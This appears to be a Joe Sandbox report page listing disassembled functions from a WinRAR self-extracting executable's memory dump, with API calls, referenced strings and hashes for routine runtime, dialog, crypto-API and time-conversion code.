Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$Concurrency::cancel_current_taskDialog
String ID: GETPASSWORD1$Software\WinRAR SFX
API String ID: 431506467-1315819833
Opcode ID: cbdb2342dbc27246140afa92192789482b4dc38f3de2603255fba98438e470aa
Instruction ID: fdd3ef1a7babaf4af26c0581d0ec47b8ecb7bcf6f9b0a657b4bc62e8ee05feac
Opcode Fuzzy Hash: cbdb2342dbc27246140afa92192789482b4dc38f3de2603255fba98438e470aa
Instruction Fuzzy Hash: 59B1C06AF197C285FB008BA4D4482AC2372AF45B9CF484235DA6C76ADADF3CE955C341

Function 00007FF65595E650 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 117COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF65595E7CD

Strings

NAN(IND), xrefs: 00007FF65595E6FB
inf, xrefs: 00007FF65595E6D6
nan(ind), xrefs: 00007FF65595E706
NAN, xrefs: 00007FF65595E6B1
NAN(SNAN), xrefs: 00007FF65595E6E5
nan, xrefs: 00007FF65595E6B8
nan(snan), xrefs: 00007FF65595E6F0
INF, xrefs: 00007FF65595E6C3

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: INF$NAN$NAN(IND)$NAN(SNAN)$inf$nan$nan(ind)$nan(snan)
API String ID: 3215553584-2617248754
Opcode ID: ca8329083cbd7a022b2adefca7a3bb58d0ae1dff90efa4c28dbe4d3f14657870
Instruction ID: 374ce76ff9b0b45cc70aa92aa8819b90a648ac46b10cf11b42e0d55611d369e3
Opcode Fuzzy Hash: ca8329083cbd7a022b2adefca7a3bb58d0ae1dff90efa4c28dbe4d3f14657870
Instruction Fuzzy Hash: 0141D57AA05B8589E714CF24E8557DD33A4EB14B98F084136EE4C93B56DF3DD429C384

Function 00007FF65594F390 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

GetWindow.USER32 ref: 00007FF65594F3CF
GetClassNameW.USER32 ref: 00007FF65594F3FC
GetWindowLongPtrW.USER32 ref: 00007FF65594F41D
IsDlgButtonChecked.USER32 ref: 00007FF65594F437
GetObjectW.GDI32 ref: 00007FF65594F452
IsDlgButtonChecked.USER32 ref: 00007FF65594F487
DeleteObject.GDI32 ref: 00007FF65594F490
GetWindow.USER32 ref: 00007FF65594F49E

Strings

STATIC, xrefs: 00007FF65594F402

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: Window$ButtonCheckedObject$ClassDeleteLongName
String ID: STATIC
API String ID: 781704138-1882779555
Opcode ID: 028936735c5caa7e1c5955390d3996a5d13f8d6e72d7f98742e6e6c768b0ab82
Instruction ID: 113ea97a2388a679f67956f98cd4c55afe43f36bd5d60e81b7af475c83d9cf72
Opcode Fuzzy Hash: 028936735c5caa7e1c5955390d3996a5d13f8d6e72d7f98742e6e6c768b0ab82
Instruction Fuzzy Hash: BE317029B0868286FA609B12A56C7B96391FF89FD8F081434DD9D97B57DF3CEC068740

Function 00007FF655946E80 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF655947E9B), ref: 00007FF655947080
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF65594717B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655947181
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655947187

Strings

</html>, xrefs: 00007FF655946F72, 00007FF655946F81
<html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"></head>, xrefs: 00007FF655946ED5, 00007FF655946EE4
<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 00007FF655946F2C, 00007FF655946F3B
<html>, xrefs: 00007FF655946F13

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$AllocGlobal
String ID: </html>$<html>$<html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"></head>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 2721297748-1533471033
Opcode ID: d8862c3025e57af8a5778f9936a91020890481e3bad1d2e12bbb9941efaf755e
Instruction ID: 9e3678c8724989b2594ac5001ff2cb95d0c624c717421b90b3d2b82583fb0baa
Opcode Fuzzy Hash: d8862c3025e57af8a5778f9936a91020890481e3bad1d2e12bbb9941efaf755e
Instruction Fuzzy Hash: 3181A06AB18A8685FB00DBA5D8581ED2371AF49B8CF480135CE5DA769BDF3CDD0AC340

Function 00007FF65594AE90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

LICENSEDLG, xrefs: 00007FF65594AEAE

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: Item$Text
String ID: LICENSEDLG
API String ID: 1601838975-2177901306
Opcode ID: e29db3841e3cac596c2aa5df9f59b5580221106af80a371471668d29e16b4ce4
Instruction ID: 2fb9ec56df76d1d6f923bbf3745d3f1630af8f815ee227dcc36debfa3f8eb0c6
Opcode Fuzzy Hash: e29db3841e3cac596c2aa5df9f59b5580221106af80a371471668d29e16b4ce4
Instruction Fuzzy Hash: 8F418F39A1869282FB108B11A85C7792362FF85F88F0C4035D95EA7B97DF3DAD468302

Function 00007FF65593B9B4 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 84libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF65593BA12
GetProcAddress.KERNEL32 ref: 00007FF65593BA2D
GetCurrentProcessId.KERNEL32 ref: 00007FF65593BACA

Part of subcall function 00007FF65593DFD0: GetSystemDirectoryW.KERNEL32 ref: 00007FF65593DDDF

Strings

CryptUnprotectMemory failed, xrefs: 00007FF65593BAC1
Crypt32.dll, xrefs: 00007FF65593B9F0
CryptProtectMemory, xrefs: 00007FF65593BA08
CryptUnprotectMemory, xrefs: 00007FF65593BA1F
CryptProtectMemory failed, xrefs: 00007FF65593BA80

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: AddressProc$CurrentDirectoryProcessSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptProtectMemory failed$CryptUnprotectMemory$CryptUnprotectMemory failed
API String ID: 2915667086-2207617598
Opcode ID: 6794cfd2df2083ddb130d433e4ca33b69faefb70ddab7dfcfa84983386d80e8a
Instruction ID: eb64e5714213aa0d5c6b8e6fbd84c595fca6079138b7a0837fa54a5b7c891fd5
Opcode Fuzzy Hash: 6794cfd2df2083ddb130d433e4ca33b69faefb70ddab7dfcfa84983386d80e8a
Instruction Fuzzy Hash: E931643CA09B8280FA148B12A99C17527E6AF44F98F0E4036C85EE73A7DF3DED458341

Function 00007FF6559487D8 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 415COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655948DB6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655948DC2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655948DCE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655948DDA
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655948DE0

Strings

, xrefs: 00007FF655948A55
, xrefs: 00007FF6559488BE

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: $
API String ID: 3668304517-227171996
Opcode ID: 3e5c1c837bf5b094cbf702a79e584555beddaf0efbc8773bf26ad6af60c03e6c
Instruction ID: 6c83d4f4e2dad2e939438fd209844edb4bf1dab3ada2d789ec44fd192442939f
Opcode Fuzzy Hash: 3e5c1c837bf5b094cbf702a79e584555beddaf0efbc8773bf26ad6af60c03e6c
Instruction Fuzzy Hash: BFF1BD6AF15A8680EF009B64D44C1BC2361BB44F9CF585631CAADA7BD6DF7CED948340

Function 00007FF6559557EC Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 317COMMONLIBRARYCODE

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF65595598A
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF655955CAD
abort.LIBCMT ref: 00007FF655955CE1

Strings

csm, xrefs: 00007FF655955933
csm, xrefs: 00007FF6559559B1
csm, xrefs: 00007FF6559558D1

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: Is_bad_exception_allowedabortstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 2940173790-393685449
Opcode ID: 65edb01f61f21fff02eaccc9a46b43a233fa456fccf40e480b66f774ee54b1a7
Instruction ID: 131c5731c98ce94d7fc0027d0dba40c700eefd6393f9766880d1e393b5dfa24e
Opcode Fuzzy Hash: 65edb01f61f21fff02eaccc9a46b43a233fa456fccf40e480b66f774ee54b1a7
Instruction Fuzzy Hash: B1E1BF7A9086C28AEB109F24D4883AD77A0FF45B4DF580135DA8DA7697CF3CE8A1C700

Function 00007FF655934F38 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 158COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF655934E24: SysAllocString.OLEAUT32 ref: 00007FF655934E5F

VariantClear.OLEAUT32 ref: 00007FF655935125

Strings

ROOT\CIMV2, xrefs: 00007FF655934F7B
WQL, xrefs: 00007FF65593502A
Name, xrefs: 00007FF6559350F9
SELECT * FROM Win32_OperatingSystem, xrefs: 00007FF655935017
Windows 10, xrefs: 00007FF65593510A

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: AllocClearStringVariant
String ID: Name$ROOT\CIMV2$SELECT * FROM Win32_OperatingSystem$WQL$Windows 10
API String ID: 1959693985-3505469590
Opcode ID: a8b35b7bcd37d82ee4aaa20c3b876beaab518b1de9e1ce59ea14af8b32f1fe8d
Instruction ID: 329bea5c3dc7b40703c7704df04aa8bd3ec00a9c63aad7e0d4a01e6214882b91
Opcode Fuzzy Hash: a8b35b7bcd37d82ee4aaa20c3b876beaab518b1de9e1ce59ea14af8b32f1fe8d
Instruction Fuzzy Hash: 5A71277AA14B85C5EB208F25E8945AD37A0FB88F9CB091132EA4E93B65DF3CD944C340

Function 00007FF6559572EC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,00000000,00007FF6559574F3,?,?,?,00007FF65595525E,?,?,?,00007FF655955219), ref: 00007FF655957371
GetLastError.KERNEL32(?,?,00000000,00007FF6559574F3,?,?,?,00007FF65595525E,?,?,?,00007FF655955219), ref: 00007FF65595737F
LoadLibraryExW.KERNEL32(?,?,00000000,00007FF6559574F3,?,?,?,00007FF65595525E,?,?,?,00007FF655955219), ref: 00007FF6559573A9
FreeLibrary.KERNEL32(?,?,00000000,00007FF6559574F3,?,?,?,00007FF65595525E,?,?,?,00007FF655955219), ref: 00007FF6559573EF
GetProcAddress.KERNEL32(?,?,00000000,00007FF6559574F3,?,?,?,00007FF65595525E,?,?,?,00007FF655955219), ref: 00007FF6559573FB

Strings

api-ms-, xrefs: 00007FF655957391

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: eedfc97f7024c66fbeb39a7219499b253e22696fd1fdab2c5f769bf1fd383016
Instruction ID: eff5a5bf8e333eaa618de09b55de6ce88f6b820fd7b1dcaa0f67e2d03e080b41
Opcode Fuzzy Hash: eedfc97f7024c66fbeb39a7219499b253e22696fd1fdab2c5f769bf1fd383016
Instruction Fuzzy Hash: 6931E429A1A7C281EE12AB06A8485B523D5FF04FF9F1D4535DE1DA7382DF3CE9548310

Function 00007FF655951604 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 43libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,00007FF655951573,?,?,?,00007FF65595192A), ref: 00007FF65595162B
GetProcAddress.KERNEL32(?,?,?,00007FF655951573,?,?,?,00007FF65595192A), ref: 00007FF655951648
GetProcAddress.KERNEL32(?,?,?,00007FF655951573,?,?,?,00007FF65595192A), ref: 00007FF655951664

Strings

KERNEL32.DLL, xrefs: 00007FF655951624
ReleaseSRWLockExclusive, xrefs: 00007FF655951653
AcquireSRWLockExclusive, xrefs: 00007FF65595163E

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$KERNEL32.DLL$ReleaseSRWLockExclusive
API String ID: 667068680-1718035505
Opcode ID: 4fe35f58cd4175722fa2f4edd42b7d77b08fa8d78ae8e9bf73ccac7c2071e7f8
Instruction ID: 50ada5a8a2890b88277b73b9dc9be95aecbf1f74e3670cf78b4e69b2ab36cf9a
Opcode Fuzzy Hash: 4fe35f58cd4175722fa2f4edd42b7d77b08fa8d78ae8e9bf73ccac7c2071e7f8
Instruction Fuzzy Hash: FE115E28A1EBC682FE648B00EA582B413916F08F9DF4D4435C85DA6356FF3CACAC9650

Function 00007FF65593ED24 Relevance: 9.1, APIs: 6, Instructions: 120timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6559351A4: GetVersionExW.KERNEL32 ref: 00007FF6559351D5

FileTimeToLocalFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF655925AB4), ref: 00007FF65593ED8C
FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF655925AB4), ref: 00007FF65593ED98
SystemTimeToTzSpecificLocalTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF655925AB4), ref: 00007FF65593EDA8
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF655925AB4), ref: 00007FF65593EDB6
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF655925AB4), ref: 00007FF65593EDC4
FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000001,00007FF655925AB4), ref: 00007FF65593EE05

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 197518eb8103cda2bd6b54f1f5e99fa721289ee203340eaf45d2c62117a67569
Instruction ID: 2a6a481ff47cd018786c4169cbe8fe3d2aa4423ee29cf8e956c1b9ecee9059a0
Opcode Fuzzy Hash: 197518eb8103cda2bd6b54f1f5e99fa721289ee203340eaf45d2c62117a67569
Instruction Fuzzy Hash: 11516CB6B10691CAEB14CFA4D4481AC37B1F748B88B64403ADE0DA7B59DF3CD955C740

Function 00007FF65593F010 Relevance: 9.1, APIs: 6, Instructions: 80timeCOMMON

Download Yara Rule

APIs

SystemTimeToFileTime.KERNEL32 ref: 00007FF65593F074

Part of subcall function 00007FF6559351A4: GetVersionExW.KERNEL32 ref: 00007FF6559351D5

LocalFileTimeToFileTime.KERNEL32 ref: 00007FF65593F096
FileTimeToSystemTime.KERNEL32 ref: 00007FF65593F0A2
TzSpecificLocalTimeToSystemTime.KERNEL32 ref: 00007FF65593F0B2
SystemTimeToFileTime.KERNEL32 ref: 00007FF65593F0C0
SystemTimeToFileTime.KERNEL32 ref: 00007FF65593F0CE

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: Time$File$System$Local$SpecificVersion
String ID:
API String ID: 2092733347-0
Opcode ID: 93bf5fe4be91675a5f4cba4a2df0f2c5ed0bd126a165fd4d88c3e7d5e64543a6
Instruction ID: 3eead3e5b903a5d0af61019e98ba163d2d622be7c5ae692a1da86511e8bf04f9
Opcode Fuzzy Hash: 93bf5fe4be91675a5f4cba4a2df0f2c5ed0bd126a165fd4d88c3e7d5e64543a6
Instruction Fuzzy Hash: 1C312B66B10A91C9EB00CFB5E8941AC3770FB08B5CB54502ADE4DA7A59EF3CD895C700

Function 00007FF655937918 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 233COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF655937C8C

Strings

.rar, xrefs: 00007FF655937969, 00007FF655937978
rar, xrefs: 00007FF655937A9B, 00007FF655937AAA, 00007FF655937B67, 00007FF655937B7C
sfx, xrefs: 00007FF6559379F3, 00007FF655937A02
exe, xrefs: 00007FF6559379AF, 00007FF6559379BE

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738288233.00007FF65598E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff655920000_h2UFp4aCRq.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: .rar$exe$rar$sfx
API String ID: 3668304517-630704357
Opcode ID: 93dbb7d74f849ef92666457f8e9f641f008dc657da5001eee78cfd1c0618c12a
Instruction ID: c939d0ab87a9ef97b83884b38fa07db14909fe7d520a0d511a574ffd93b55ca0
Opcode Fuzzy Hash: 93dbb7d74f849ef92666457f8e9f641f008dc657da5001eee78cfd1c0618c12a
Instruction Fuzzy Hash: B6A1D22EA0468680EB009B25D8592BC23A1BF45F9CF591235DD1DA77E7DF3CEA55C380

Function 00007FF655955CE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF655955D58

Part of subcall function 00007FF655955210: abort.LIBCMT ref: 00007FF655955223

_CallSETranslator.LIBVCRUNTIME ref: 00007FF655955DA3
abort.LIBCMT ref: 00007FF655955FD1

Strings

RCC, xrefs: 00007FF655955D74
MOC, xrefs: 00007FF655955D6C

Memory Dump Source

Source File: 00000000.00000002.1738104242.00007FF655921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF655920000, based on PE: true

Associated: 00000000.00000002.1738088681.00007FF655920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738135407.00007FF655968000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF65597B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1738210490.00007FF655984000.00000004.00000001.01000000.00000003.sdmpDownload File
